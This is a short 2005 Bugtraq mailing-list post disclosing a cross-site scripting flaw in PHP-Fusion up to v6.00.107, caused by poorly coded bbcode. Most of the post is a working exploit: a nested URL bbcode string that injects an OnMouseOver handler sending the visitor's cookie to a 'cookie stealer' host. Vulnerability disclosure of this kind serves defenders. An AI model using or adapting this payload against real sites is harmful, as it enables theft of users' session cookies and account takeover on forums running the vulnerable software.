[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
PHP-Fusion <= v6.00.107 XSS exploit
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: PHP-Fusion <= v6.00.107 XSS exploit
- From: slacker4ever_1@xxxxxxxx
- Date: 28 Aug 2005 23:26:55 -0000
Hello we haved found a vulnerability in PHP-Fusion <=v6.00.107 which allows us
to steal cookies. The exploit works because of badly coded bbcode.
Well here is the exploit.
[URL=http://aaaaaa.com/UR[url=aa.com&&;
OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+cookie;
location="http://google.com]][/URL][/url]